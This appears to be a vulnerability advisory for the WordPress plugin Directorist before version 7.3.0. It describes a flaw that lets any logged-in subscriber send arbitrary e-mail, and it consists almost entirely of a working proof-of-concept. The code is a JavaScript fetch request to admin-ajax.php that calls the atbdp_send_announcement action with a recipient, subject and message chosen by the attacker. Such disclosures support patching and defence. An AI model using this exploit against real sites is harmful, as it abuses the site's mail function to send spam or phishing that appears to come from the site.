Directorist < 7.3.0 - Subscriber+ Arbitrary E-mail Sending

Proof of Concept

fetch("/wp-admin/admin-ajax.php", {
  "headers": {
    "content-type": "application/x-www-form-urlencoded",
  },

  "method": "POST",
  "body": "action=atbdp_send_announcement&recipient=anyone@b.com&subject=subject&message=content&send_to_email=1",
  "credentials": "include"
}).then(response => response.text())
  .then(data => console.log(data));